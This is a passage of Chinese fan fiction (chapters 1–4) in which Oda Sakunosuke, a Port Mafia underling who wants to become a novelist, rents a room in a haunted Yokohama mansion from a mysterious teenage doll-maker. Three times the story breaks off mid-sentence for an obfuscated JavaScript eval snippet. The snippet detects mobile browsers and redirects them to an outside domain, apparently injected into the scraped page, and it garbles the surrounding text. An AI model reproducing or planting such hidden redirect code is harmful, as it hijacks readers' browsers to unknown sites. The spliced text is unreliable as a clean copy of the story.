《我真的是个好人》 1. 形骸馆01 在我很小的时候,就对邻居这一“怪物”抱有恐惧之心。那时我和母亲还生活在乡下,孤身一人带着孩子的女人对于当时的乡村来说,就像正在加热的开水,表面不动声色,底下却已经炒的热火沸腾,但仍要竭力维持着表面的安宁祥和,于是只有咕噜咕噜浮上来的一些气泡,才能稍微证明一下正在发生的事情。 我,讨厌邻居。 这一刻,尚且年幼懵懂的我突然有了无比清晰的认知,也正是从这一刻起,我便竭尽全力试图与“邻居”这种生物划清界限。 ——织田作之助《未来的生活》 2003年12月第一版 沿着皇后广场一路逆流而上,越过地标大厦和空中缆车后,河道逐渐变得狭窄,两岸的建筑也逐渐脱离港口的魔幻与繁华,变得平易近人起来。 织田作之助沿着一条上坡道自开满居酒屋的河岸边走向僻静的街道内部,早上的时刻哪怕是繁华的街区也显得冷清,居酒屋和拉面馆门窗紧闭,宿醉的酒鬼也早就被妥善地安排离开,整个街道都处于一种忙碌过后的倦怠和懒散。 他拿着一张写有地址的字条缓慢地爬坡,倾斜的街道加重了步行的负担,虽然这点运动量对他来说不算什么,但是对于长期居住在这里的人来说,确实会让“回家”的道路变得艰难一些。 织田作之助计算着时间,沿着街道步行约十分钟后,两旁的景色已经从各类商铺变成乏善可陈的居民楼,而在越过第三个十字路口后,一幢别致的洋房安静地矗立在街道对面的拐角。 日之出町,2番-666号,未来公馆。 门牌上这样写着。 这就是他要找的地方了。织田仰头打量着这幢三层西洋式公馆,建筑采用大理石建造,临街的两侧各开三扇方窗,上面绘制着巴洛克式拱形浮雕,转角的主入口两侧嵌着二层高的立柱,顶端的天使雕像微微俯身,洁白的双翼在身后自由伸展,仿佛下一秒便会拥抱人间。 立柱的顶端托举着一个半开放式露台,大约占了第三层1/4的面积,上面搭建着玻璃棚顶,在初春的三月,几簇绿意盎然的叶子已经忍不住从中钻了出来,白粉色的小花星星点点散落在绿叶中,为这幢充满欧式浪漫风情的公馆增添几分稚气与欢快。 似乎是感觉到织田作之助的目光,一个人影从露台里探出头来,刺眼的阳光让织田作之助看不太清楚他的面容,只能察觉到他招手的动作,以及越过脖颈垂落下来的,如同瀑布一般的长发。 “是织田先生吗?请上来吧,门没有锁。”一道清亮的声音自上方传下来。 织田作之助迈步走进这幢公馆。 与古怪的名字不同,公馆内的采光十分优秀,或许和地处转角有关,两侧没有建筑物的阻挡,阳光可以更好地透过玻璃投入进楼梯间。织田作之助踩着木制楼梯,一面评估着楼内的居住环境,一面抵达了三楼。 “欢迎您的到来,我是和您联系的深见,您刚刚看的如何?可还算满意?” 一个模样不大的少年站在楼梯口向他打招呼。他看起来大约十六七岁的样子,留着一头柔顺的黑色长发,发尾的颜色稍浅一些,织田作之助不确定是更偏蓝一点,还是更偏紫一点。 他穿着简单的立领衬衫和西装裤,外面披着一件靛蓝色的和服,上面绣着粉白相间的樱花,看上去十分明媚,鼻梁上架着一副茶色眼镜,看材质像是树胶。织田作之助注意到他右手中指的第一指节有不正常的变形和老茧,这让他的心情稍微放松了一些。 “房子采光似乎很好。”织田作之助想了想回答,“露台的花开的也很漂亮。” 少年眼睛一亮,笑意更深了些,却只是矜持地扬了扬眉梢,莞尔道:“您喜欢就好,我带您看看房间吧。” 织田作之助跟随他来到三楼西侧的走廊,木制的地板踩上去有些吱呀作响,左手旁是两扇玻璃窗,透过窗户可以看到楼下的街景,正是织田作之助刚刚驻足的地方。 “三楼因为要建造露台的缘故,本来的三间房被改成了两间,所以每一间的面积都要比楼下大一些,大约有30平方,厨房和浴室虽然不算大,但工具都一应俱全。”深见打开门向织田作之助展示这个一室的房间,“部分家电是上一位租客留下的,你可以继续用,当然如果介意的话也可以卖掉换成自己的,随你喜欢。” 织田作之助观察着这个房间,干净、整洁,看来带他看房前房间已经被认真打扫过了,卧室的床边铺了地毯,旁边还放了一个双人沙发,看起来十分温馨。 织田作之助指着正对面的一扇采光很好的大玻璃窗问道:“那边是阳台吗?” 深见点点头,带他走过去打开门,“后面是公馆自带的花园,从这里正好可以看到,正午的时候阳光最好,不管是晒太阳还是工作都很舒服,不过最近我觉得景色有些单调,准备在中间修一座喷泉,有水映衬的话风景应该会更加和谐吧。” 织田作之助欣赏着窗外绿意盎然的小花园,高大的香樟树投下浓郁的树荫,旁边是修剪得当的绿植,夹杂着一些含苞待放的花卉,看起来赏心悦目。小花园的正中央留出一块圆形的空地,想来便是要修喷泉的地方。 织田作之助在心里想象了一下,觉得非常好,但很快他的好心情又再度变得踌躇起来,“房间是很不错,不过租金……” “2万日元一个月怎么样?” 织田作之助惊讶地看着他。 “怎么了?太贵了吗?”深见问。 “不,与其说贵,不如说是太便宜了。”织田作之助想了想,还是问道,“你不是本地人吧,之前了解过横滨的物价吗?” “啊,您看出来了?我确实不是本地人,不过物价还是有了解的,之所以这么便宜主要还是房间的问题……上一任租客前两天死在了房间里。” 难怪这么便宜,织田作之助了然。虽然横死这种事情在横滨不算少见,但大部分人还是会心生抵触的,尤其是刚死不久…… “但是您应该不会介意吧,毕竟尸体对您来的也算是家常便饭了,还是说您有些其他的忌讳?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706455|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >深见漫不经心的一句话如同一道雷炸在织田作之助耳边,他沉默少许,不知道该不该询问,最后只好略显纠结地强调道:“我已经不干这一行了。” 这下惊讶的人变成深见了,他上下打量一番眼前的人。织田作之助有一头红色的短发,面容沉稳严肃,却不让人觉得冒犯,反而十分温和。他的身体不算健硕,但是技巧性十足,上楼的时候只在最初弄响了木地板,后面便下意识放轻了步伐。 他依旧保持着不动声色观察四周环境的习惯,身上的硝烟味也依旧在弥散,甚至在黑色的风衣里面,依旧挂着两把手枪,这才让深见产生了误解,“是吗,我还以为……算了,你有新工作了吗?” “算是……吧。”织田作之助犹豫了一下,补充道,“我现在在港口黑手党工作,不过只是底层人员,你知道港口黑手党吗?” 深见点点头,“听说过,本部在港口那边的大楼对吧?相当显眼的建筑,收入应该还不错,这样你的租金应该可以正常交上,啊,对了,你的工作会很危险吗?” 深见解释了一下:“我不想频繁地找租客,我也有自己的工作要忙。” 织田作之助想了想回答:“应该不会,我在底层工作,说是黑手党,其实主要负责维护治安,只是个打杂的,最多被喊过去搬一下尸体,所以应该不会被尸体打死。” 深见眨眨眼,笑了一下,“没想到您还会开玩笑。” 织田作之助点点头,“其实我在考虑转行了,不过又不知道可以做什么,我没怎么念过书,没有学历也没什么其他的工作经验,所以只好先在黑手党里工作。” “这样啊。”深见了然,“他们居然同意您这样……唔,摸鱼吗?” “应该没有问题。”织田作之助回忆了一下,“同事对我都很好,虽然有点奇怪我为什么不杀人,不过都很照顾我。” “不杀人了?” 深见讶异地抬头,目不转睛地盯着他,仿佛是在观察他所说是否是事实,茶色的眼镜随着他的动作从鼻梁上滑下来一截,织田作之助这才发现他的眼睛竟然和他一样都是蓝色。 不过织田作之助的眼睛蓝的更加清澈纯粹,像今天晴朗的天空,或者晴朗天空下风平浪静的海湾,而深见的眼睛则更加深沉,像是深不见底的潭水,浓的近乎发黑,让人稍不留神便会忽略掉其中的蓝色。 “为什么……”深见顿了一下,“您愿意讲一讲吗?” “没什么,是因为我想写一本小说,所以不想再杀人了。” 织田作之助有些不自在地开口,他很少向别人如此正式地提起这件事,以往的同事们听到他拒绝杀人,大多只是惊讶一下,很少有人会去追问,或许这便是他们这行从业人员特有的社交距离感吧。 不过今天,或许是上午的阳光太明媚,或许是租到的房子太合心意,或许是花园里的混在在绿丛中的白色的小花开的太过可爱,让他难得想要多说几句。 “我想当一名作家。”他这样告诉名为深见的人,“这是我的未来规划。” 2. 形骸馆02 “这样……不错的职业规划,您一定可以成功的。”深见称赞道,片刻后,他把滑落的眼镜往上推了推,重新用镜片遮住了他的眼睛,看着织田作之助的眼睛,又强调了一遍,“我有预感,您一定能成为优秀的小说家的。” “真的?”织田作之助忐忑的心情似乎变好了一些,他不好意思地解释道,“虽然这么说,但我一直都没能动笔,实在不知道该怎么写,每次拿起笔来想要写些什么,最后都觉得无趣的很,于是一个字都写不出来。” “您能给我一些建议吗?”他特意加上了敬称。 “我?”深见不明所以。 织田作之助解释道:“我看到您的中指指腹有些变形,那个一般是需要长期握笔才会形成的吧?您的年纪不大,应该还未成年,可以合法进行的工作……我猜您是一位作家,对吗?” “啊,这个呀。”深见有些哭笑不得,“我确实经常握些东西……不过不是握笔啦,是刀,雕刻刀。” 他朝织田作之助比划了一下,“人偶制作,您知道吗?可能不太常见,我之前一直跟着老师在东京学习,接一些私人定制或者艺术展览,最近决定搬来横滨发展。” “有些材质十分坚硬,用刀的时候就要找好角度用好力气,所以骨骼有些变形。”深见向织田作之助展示了一下自己的双手,指纹之间夹杂着一些白色的粉末,“作家的话,手上应该墨迹更重一些吧,写的时候很容易蹭到手上,墨水是很难褪色的。” “这样……我猜错了啊。”织田作之助有些失落。 深见看到他这副样子,忍不住猜测,“织田先生是在扮演侦探吗?” 织田作之助点点头,“我最近在读写作类的书,上面说新人的第一本小说可以取材和自己工作或生活相关的事,但是不论是杀手还是黑手党都不太合适,老板建议我可以反过来,我想了想,打算写一个侦探的故事。” “我打算写一个睿智聪慧,又风趣幽默的侦探,最近正在试着代入他。”说到这里他的神情有些尴尬,“没想到一上来就推理错了,看来这个构想恐怕不太合适。” 深见眨眨眼,“既然如此……不如换个环境试试?说不定会有新的灵感哦。” 织田作之助心中一动,“你是说……” “我明天没有工作,可以帮你搬家,要早点搬进来吗?”深见说,“今天是3月10日,我算算……合同从15日开始算吧,收一个月押金,前面几天算送你的。” 织田作之助乐意之至,“那麻烦你了。” 和深见签好合同以后,织田作之助就打算告别,他借找房子的名义和别人换了半天班,下午还有其他工作,要准时赶过去。 他和深见一前一后走下楼,他的脚步依旧十分轻盈,落在楼梯上几乎听不到任何声音,反倒是跟在他身后的深见,每走一步楼梯便吱呀地叫一声。 织田作之助重新回到了阳光之下,接近正午的阳光变得热烈起来,落在皮肤上暖洋洋的,叫人感觉十分惬意,甚至有些懒散。他正准备和深见道别,身后却突然传来深见的呼声。 “织田先生,请等一下。” 织田作之助回身,只见深见正站在转交处的门廊下,四层低矮的圆形台阶从他脚下向外延伸。他站在正中央的门口前,门廊嵌入的两根立柱成为他富有古典气质的边框,头顶俯身将落的天使成为拥抱他的背景肖像,阳光被门廊阻挡,只有一半洒在他的身上,光影的分割线如此清晰地呈现在一个人物的身上,将他分割成一幅典雅的肖像画。 他仰头观察着什么,脖颈拉得很长,露出肌肉绷直的曲线,显得他的身形愈发单薄,甚至给人以能够轻易折断的错觉。他黑色的长发如丝绸一般垂在肩上,然后在重力的作用下滑落到胸前,织田作之助注意到它们划出了一个非常美妙的曲线。 “带把伞吧,织田先生。”深见突然开口,仰头的动作却没有动,深蓝色的眼睛越过滑落的眼镜,注视着被门廊分隔的天空,眼中分明不带任何情绪,但却显得十分悲伤的样子。 织田作之助抬头看了看天气,阳光晴朗,万里无云,实在不是要下雨的样子。但是深见却固执地重复着他的建议。 “要下雨的,请带一把伞吧。”他看向织田作之助,递给他一柄黑色的长伞。 织田作之助沉默片刻,还是选择上前接过了这把伞。 “你怎么知道会下雨的?”他有些好奇。 “看见的。”深见回答,他想了想,补充道,“是一场会持续一段时间的雨,最近出门要多加小心。” 织田作之助奇怪道:“但是天气预报说最近都是晴天。” “是吗。”深见笑了一下,推了推眼镜,那股令人觉得怪奇的气质消失不见,他又重新变成了那个言辞优雅、举止端庄、待人有些俏皮的少年。 “那就……当是以防万一好了。” 织田作之助与他告别,带着一份签好字的租房协议,和一把在晴天十分奇怪的长柄雨伞。 他沿着下坡的街道逐渐走向弯曲的河流,沉静的居民区在他的身后逐渐远去,那栋开着粉白色小花的洋房公馆也逐渐隐去身影。他一路沿着河流朝港口方向走去,就在他越过第三座小桥的时候,一滴水珠从天而落。 织田作之助疑惑地抬头,太阳依旧挂在碧空如洗的天边,天气十分晴朗,万里无云,但与此同时,他又十分清晰地感觉到,一滴水珠正在从天空坠落,砸进他湛蓝的眼眸中。 “下雨……了?”他疑惑地眨眨眼。 一些云遮住了太阳,更多的雨滴从天而落,砸在桥下的水里、树下的土上,以及路人诧异地抬起的手中。 “真的下雨了啊……”织田作之助呢喃着,撑起了一柄黑色的伞,黑色的身影消失在逐渐变得灰蒙蒙的港口城市里。 自这场不在预报中的雨降落后,横滨就一直被阴雨笼罩。 这场突如其来的春雨规模并不大,时断时续,最大只是淅淅沥沥形成一片朦胧的水幕,但是沉闷的气压和潮湿的水汽依旧劝阻了大部分人出门的决定,也让黑手党的活动变得散漫起来。 织田作之助只在那天下午出了两次外勤,一次去码头帮忙卸货,一次去街区收拾同事的尸体,随后港口黑手党——以及他的敌人们,的所有活动都在这场雨的打搅之下不得不歇息下来,织田作之助也得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706456|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以在这难挨的阴雨天得到喘息的机会。 第二天他便向上司请了一天假,说明要搬家,向来人手紧缺的上司不在意地摆了摆手,甚至还有闲心问他要不要帮忙。 “有人会来帮我的。”织田作之助解释道,“房东是个很不错的人,不仅愿意给我便宜房租,还答应今天来帮我搬家。” 上司犹豫了一下,似乎是最近确实十分清闲,居然开口询问织田作之助:“房东……你感觉怎么样?” “我觉得挺好的。”织田作之助思考了一下,“租金很便宜,地段也很好,房间还带一个阳台,可以看见下面的小花园,房东还说要在里面装一个喷泉。” “这样啊。”上司抽了一口烟,慢吞吞地道,“听起来是很不错啊,你住在哪里?说不定以后还能一起喝酒呢。” “在日之出町那边,叫未来公馆的一幢洋房,附近确实有许多居酒屋,不过我还没有去过。” 上司思考了一会,有些摸不着头脑,十分担忧地看着织田作之助:“未来公馆?没有听说过呢,具体是在哪里?你不会被骗了吧?” 织田作之助向他详细地表述了地址,还提供了公馆的样子,按理说那样精致的洋房哪怕身处居民区深处,也应该十分引人注目,但是上司还是一副想不起来的样子。 “我家就在那附近,但是从没听说过这样一幢洋房。织田,那个房东你调查过吗?最近横滨可不安分,不会是趁乱的骗子吧?” 上司纠结地看着面露茫然的织田作之助,这个杀手转行的部下有着和其他杀手一样的特质,性格冷静沉稳,情绪十分寡淡,一副沉默寡言的样子,上司几乎没有看到过他生气的样子,好像无论境况如何变化,他都能够随遇而安。 不,不如说是不论环境如何改变,外部世界都与他毫无关系。他对待他人和事物有着一种天然的隔阂感,像旁白一样目睹着他们的人生发展,但是自己却丝毫没有感同身受的情绪共鸣。 他看见、理解、接受一切,却从未深刻地感受过生活究竟意味着什么。 “你……还打算写小说吗?”上司突然换了个话题。 “是的,不过我不打算写侦探故事了。”织田作之助继续道,“其实上次去见房东的时候我试着学习侦探的方法推理了一下,本以为他是个作家,结果完全猜错了呢。” “哦,那他是做什么的?” “人偶师,大概就是那种女儿节会用到的吧。” “人偶啊……”上司回忆着,突然脑海中闪过些什么,急切地抓住织田作之助,慌忙问道,“你说的那个未来公馆,是前面有一段上坡路,旁边有一幢红顶民居,后面栽着香樟树的那个吗?!” 织田作之助看着情绪激动的上司,不解地问:“是这样没错,怎么了?” “那个啊……那个不是什么未来……公馆。” 冷汗从上司的额头渗出,他的眼睛瞳孔骤缩,那是人在紧张和恐惧时的生理反应,织田作之助可以感受到他攥着自己衣袖的手正在不受控制地颤抖。 “那个是……人形馆。”他听到上司这样说。 “那个洋房……是形骸公馆啊。” 3. 形骸馆03 形骸馆杀人事件。 这是一个流传在横滨的,有关五十年前一桩杀人案的故事。 这幢洋房最初属于一个日本名叫梅泽的外国人,据说他是在来横滨旅游的时候一眼就“爱”上了这座城市,然后斥巨资建造了这幢在当时算得上是数一数二的洋房公馆。 梅泽虽然是外国人,但对日本的人偶技术十分热衷,甚至到了痴迷的地步。不管是三月三还是五月五的祝福人偶,还是流传着诡异传闻的诅咒人偶,梅泽全部都花高价买入,然后摆放在这幢洋房的各个角落,甚至为他最心爱的人偶们准备了房间,让她们像人类一样“居住”在这里。 他在遗留的手稿中记载道:“人的肉/体是人的形,人的大脑是人的灵,当人类的大脑遇上人类的肉/体,灵肉合一的时候,未来就这么‘诞生’了。” 没错,“诞生”。这位迷恋日本人偶的外国人终于对他的癖好到了走火“入魔”的地步,他制作了一台十分精妙的“机器”,用于将他的大脑从肉/体中剖出,然后安装在他制作好的“人偶”中,以望得到“新生”。 当然,这一设想理所当然的“失败”了,梅泽就此与世长辞。不过由于他的死相过于离奇,当时的人们都以为这是一桩残暴的杀人事件,于是警署迅速展开走访调查,抓了不少嫌疑人入狱,搞得整个横滨风声鹤唳,最后在一位侦探的帮助下真相才得以大白。 梅泽是自杀身亡,而非谋杀,更非连环杀人。 这种猎奇的新闻迅速走红关东,成为上世纪五十年代有名的“杀人案”,案件的真相在媒体的夸大其词中变得扑朔迷离,甚至现在一些媒体在盘点日本史上震惊全国的杀人事件时,还会把它纳入其中,有的甚至连犯人是谁都搞不清楚,干脆随便从嫌疑人中选一个写上去,糊弄了事。 但是,所有的这一切都不过是报刊上的风言风语罢了,对于这幢精美的建筑来说,主人的离世既意味着疯狂的终结,又意味着衰落的开端。这幢洋房此后几番易手,但据说建筑的所有者都下场凄惨,因此慢慢成了被人忌讳的“凶宅”。 深见是从哪里买来这样一幢公馆的?他搬进来的时候知道房子的传闻吗?现在居住在这幢房间里的,究竟是什么样的租客?还有那位横死的前房客—— 淅淅沥沥的雨滴从天空坠落,白色的水珠在灰蒙蒙的城市中划出一道道细密的白丝,像蛛丝一样缓慢地将城市缠绕、包裹、形成一个动弹不得的茧房。 织田作之助沿着道路慢慢地走着,在心里反复思考有关深见和那幢公馆的事情,雨水落在他黑色的风衣上,被良好的防水材料阻挡,却顺着他的领口滑入胸膛,冷的他不由颤抖起来。 他的思绪被迫从那幢公馆里抽离出来,重新落回到现实坚实的土地上。此刻,织田作之助才发现他已经走到与深见约定见面的地方了。 他朝四周望去,一个亮红色的身影在这阴沉的天气中跃入眼帘。深见站在路边的一棵桂树下,横滨经过几度开发,电线杆取代了绿植成为街道两旁最常见的风景,这棵桂树也是因为种在私人庭院里才逃过一劫,在雨中成为难得的避雨地。 但深见并非是在躲雨,他穿着一件亮红色带兜帽的雨衣,严严实实一直挡到小腿。黑色的长发全部被他藏在雨衣里,只有鬓角的几缕垂落在脸颊旁,然后被收拢进衣襟。他微微仰头,似乎在观察树叶中是否已有花朵析出,乖巧安静的模样像极了橱窗里展示的人偶。 人偶。织田作之助不由打了个冷颤,他强迫自己把将目光移开,这才注意到深见的脚上穿着一双防水皮靴,鞋筒高过雨衣的下摆,一副对待雨天全副武装的样子。 察觉到织田作之助的到来,那双并拢在一起的脚微微错开角度,脚尖转向他的方向。 “织田先生,我在这边。” 深见朝他招手,织田作之助走过来和他一起站在香樟树下,深见看了一眼他风衣上的水珠,撑起一把黑伞递给他。 “你还带着伞啊。”织田作之助感到诧异。 “毕竟,您看上去就不像会照顾自己的人。”深见说道,“我开了车来,您的东西整理好了吗?需要帮忙吗?” “差不多收拾完了,稍等我一下就好。”织田作之助下意识回答。 深见跟在他身后和他一起走进屋里,这栋居民楼更加破旧一些,墙皮有些脱落,扶手的栏杆也已生锈,楼梯间依稀还可以看到弹孔的痕迹。 “织田先生为什么不在这里住了?”深见问道。 “唔……和职业有关吧。” “黑手党?” 织田作之助点点头,“前段时间这里有黑手党的火拼,本来是不会影响附近的居民的——顶多有点扰民,但是其中一方违背了规矩,躲进了居民楼里,还用里面的人当人质。” “然后?” “房东不幸中流弹死亡,房东的儿子在东京工作,处理完后事觉得横滨实在是太过危险,也不愿意料理房租,干脆就挂牌准备把房子卖掉了。” “所以您也失去了住处。”深见总结道。 织田作之助点点头,将最后一点衣服收进一个纸箱里,用胶带缠好,算是收好了全部的行李。 “很有趣的经历。”深见评价道,织田作之助诧异地看向他。 “不觉得吗?常人听到黑手党成员被迫搬家,第一反应应该都是房东害怕黑手党住在这里会给自己添麻烦,所以让人搬走。但是事实却是造成麻烦的并非是住在这里的黑手党,而是流弹。”深见解释道,“竭力避免的事没有应验,反倒是被忽略的细节成为致命的危机,简直就像是古希腊的预言一样。” “这样吗?好像是这样的。”织田作之助犹疑地点了点头,“我没有怎么读过古希腊的神话,不是很清楚其中的联系。” “没关系,我那边有神话大全,可以借给您看。” 织田作之助感谢地应下,“那么你呢?” “什么?” “你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706457|173551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么会买下那幢房子?”织田作之助问,但随即他又意识到这样的问题似乎有些冒昧,于是解释了一句,“我的意思是,你知道那幢房子过去的事吗?” “您是说……” 织田作之助将上司讲述的,有关“形骸馆”的故事,和五十年前梅泽死亡案的故事告诉了深见,果然,对方好看的眉毛紧蹙在一起,看样子是不知情的。 “原来如此,我确实不知道这些事情。”深见的脸色有些苍白,大约是被那些可怕的传闻吓到了,“不过这幢房子与其说是购买,不如说是赠送。” “赠送?” “是的,前任房主去世后留下了这幢房子作为遗产,并且指名赠送给我,说实话我和原房主并不相识,但是据说对方是我父亲那边的远房亲戚,这幢房子也是打算赠送给我父亲的,只是我父亲早已去世,所以才落到了我的名下。” “我也是这个月初才来到横滨的,只来得及和这里原本的租客见了一面,重签了租房合约,没想到这幢房子背后还有这样的故事。” 深见沉吟片刻,继续道:“不过关于那些流言……我觉得应该没什么关系,其他租客续约都很干脆,没有表露出退租的意愿,前房主据说是在海外因病年迈去世的,也不算受到了影响。唯一有点不同寻常的,也只有您住的那间的的原租客的横死……” 说到这里,他停顿了一下,略显纠结地看向织田作之助,“关于这件事,因为涉及到个人隐私,所以我不便与您详谈,但是我敢保证那位女士的死亡……这么说吧,没有任何问题。” 织田作之助听不太明白:“没有任何问题是指……” “我认为不用报警的程度。” 织田作之助想了想,还是不明白到底是什么情况,但好在这与他关系不大,于是他便放过了这个话题。 他和深见一起把东西搬到楼下,放进一辆橙色小轿车的后备箱。此时淅淅沥沥的小雨逐渐有了下大的趋势,为前方的道路蒙上更加深重的阴影。 深见脱掉红色的雨衣钻进前座,织田这才发现他今天在衬衣外面外面套了一件宝蓝色的和服,上面印着桔梗暗纹,并且和上次见面时随意披着不同,这次他倒是有整齐地穿在身上,甚至因为雨水还把下摆往上提高了许多。 “总之,请不要担心。虽然那位女士是前几日去世的,但是我已经认真打扫过了卫生,也消了毒,换掉了一些旧家具,不会影响到您生活的。” 深见说着点火发动了汽车,双手自然地扶上方向盘。 织田作之助总算意识到有哪里不对,他问道:“等等,你开车?你有驾驶证吗?” “当然没有啊,我今年才十七岁,还未成年。”深见理所当然地启动了车辆,橙色的小轿车在雨中利落地划出一道横线,灵活地转弯驶离远处。 他笑眯眯地透过后视镜看向织田作之助,语气轻快地道:“您不是黑手党成员吗?拜托了,请您挑一个没有交警检查的道路吧。” 4. 形骸馆04 事实证明,黑手党成员并不能完全避开交警的盘查,至少对织田作之助来说,他做不到这种程度的未卜先知。 不过好在黑手党的身份确实也有那么一些作用,比如在交警注意到深见过于年轻的脸庞,准备上前检查时,正巧对上坐在后座穿着黑风衣、面容严肃的织田作之助的眼神。这位前杀手现黑手党底层人员凌厉的眼神把交警吓了一跳,只得生硬地转了个弯,装作散步的样子目不斜视地走了过去。 织田作之助显然有些无语,“我看上去很可怕吗?” 深见不由得笑出声来,然后在织田作之助愈发郁闷的眼神中不好意思地收敛了笑意,故作深沉地思考了片刻,回答道:“或许是衣服的缘故吧,这边的黑手党总是穿的一身黑,看起来阴沉沉的,这是某种企业文化吗?” “应该不是吧。”织田作之助想了想,“我入职的时候没有听过这种规定,成员确实大多都穿的比较正式,但也不是所有人都穿黑西装。” 他举了个例子:“听说某位干部一向偏爱和服,还会穿粉色的外褂,高层也有喜欢穿白色的,行动组的人员大多都是穿黑西装,也许是为了显得比较专业?毕竟有时候需要,呃,撑场子。” “这样啊。”深见一面开车一面和他闲聊,“那织田先生也需要去撑场子吗?” “不,那种一般都有专门的人去做,我只是个打下手的底层人员罢了,行动的事情是不会叫上我的——除非是去打扫卫生。” “也就是说织田先生没必要也跟着穿一身黑咯,那换套浅色的衣服怎么样?”深见建议道,“马上就要进入春天了,横滨的樱花也快要开放了吧?那个时候如果穿一件青色、或者米色的外套,一定和春日的风景十分相衬吧。” 深见在脑海中勾勒了一番这样的场景,“裤子也可以换成浅色的,不习惯的话卡其色也不错……啊,红怎么样?织田先生喜欢梅红色吗?” “我没有试过。”织田作之助眨眨眼,“深色的衣服比较耐脏,所以一直以来我都习惯这样穿了。但是改变着装风格……确实是个好建议啊。” “是吧?都说女人喜欢浪费大量的金钱和时间花在梳妆打扮上,现代社会逐渐开始流行起对这种“精致主义”的批判,不过我倒是觉得衣服的搭配对人有着十分重大的影响。不提小说中作者对出场人物的衣饰描写暗含着对这个人的评价,哪怕是现实生活中,我们对一个人的第一印象也很大程度上受到对方衣着的支配。” 他举了个例子:“比如说,我之前认识的一位女士,第一次见面的时候她穿着一件橙色的大衣,在冬天显得十分惹眼。那以后每次想起她,我的第一印象总是那件颜色饱满、像橘子一样金灿灿的橙色大衣,连带着她的个人形象在我这里也与橙色挂了钩。” 织田作之助若有所思:“这样啊,所以第一次见面的时候你才会觉得我还在做杀手?” 深见点点头,又摇摇头,“是多种因素综合的考量,你上楼的时候几乎没有声音,余光一直在注意周围的环境,衣服里面还带着枪——我看见了。” 织田作之助恍然大悟,与此同时他又不由自主地回忆起第一次见到深见时他的样子——安静、谦和、温驯,就像大和抚子一样。 “深见似乎很喜欢穿和服?”织田作之助问。 “嗯,因为现在收留我的人家住的是和式院落,在家里大家都穿和服,甚至外出也是,我也不好太过特立独行,也跟着穿起来,现在已经习惯了。” “这样啊。”织田作之助想象了一下孤身一人寄人篱下的情景,不由对他报以同情之心,“昨天你说会下雨——你是怎么知道的?” “那个啊……织田先生知道为什么天会下雨吗?”深见的手指敲击着方向盘,漫不经心地问。 “雨的本质是高空的水汽遇冷凝结成水珠,然后在重力的作用下从天空坠落,导致这一现象出现的原因一般来说有四种情况——其一是携带水汽的气流遇到山地被迫抬升,随着海拔的攀升温度不断降低,最终形成降水,这便是所谓的地形雨。其二是高空的冷暖气流交汇,暖气流由于密度较小被迫抬升,遇冷凝结成雨,这便是锋面雨。” “这两种是相对常见的降水现象,还有一种是由台风带来的台风雨,因为台风也叫热带气旋,所以也被叫做气旋雨。”深见一面开车,一面不疾不徐地介绍,“最后一种是对流雨,地面受热水汽蒸发,上升到高空凝结成雨,不过这种一般常见于夏季的午后或傍晚。” 织田作之助听他滔滔不绝地讲了一堆有关降水的理论,有些不明所以:“那……那天的降水是哪一种?” “准确来说,哪一种都不算是吧。”深见回答,看着织田作之助疑惑不解的表情,开口解释道,“有关地球的天气现象,人类至今为止还有许多未解之谜,雨也是一样,或者说,所有的‘现象’都是一样。” “我还是不太明白……” 深见趁着等红灯的时间停下车,回过头看他:“这么说吧,织田先生认为雨的降落是有目的的吗?” “目的?” “没有哦,自然现象就是自然现象,就像物质的存在就是物质的存在,人类独断专横地决定要以他们的视角来解读世界,所以山川河流被赋予神明的尊号,生老病死被认为是妖怪的诡计。” 深见的声音逐渐变得低沉,他目视前方依旧十分平静地开着车,但是织田作之助却敏锐地察觉到有什么东西似乎正在发生改变。他想要透过后视镜去观察深见的表情,却发现对方早已避开了镜子的反射。 “见太阳高悬于天,便认为是天照大神的恩赐,见月亮倒映万川,便祈祷月读命的庇佑,因寒风瑟瑟发抖,便恐惧是妖怪作祟。早期的人类因为不具有对抗自然的现实力量,不得不赋予自然人格特征,祈祷能够通过沟通获得改变自然的可能性。” “而随着人类对世界统治力的增强,人类不仅可以对抗自然,甚至可以改造自然。于是很快的,政敌被冠以妖怪附身的名号铲除,自然现象被赋予祥瑞或者噩兆的寓意利用,人类出于实用性的目的开始对自然现象进行合乎心意的解释,并且深信不疑。” 深见的目光透过挡风玻璃看向外面的世界,横滨在雨中变得如梦一般朦胧,氤氲的水汽将灰色的建筑、黑色马路和白色的天空模糊成一团印象派的油画,显得静谧又落寞。 他的目光涣散,思绪不知道飘向何方,唯有口中还在无意识地念念有词:“下雨就是下雨,没有原因,也没有目的,只是持续地下着、下着,人类也是一样……” 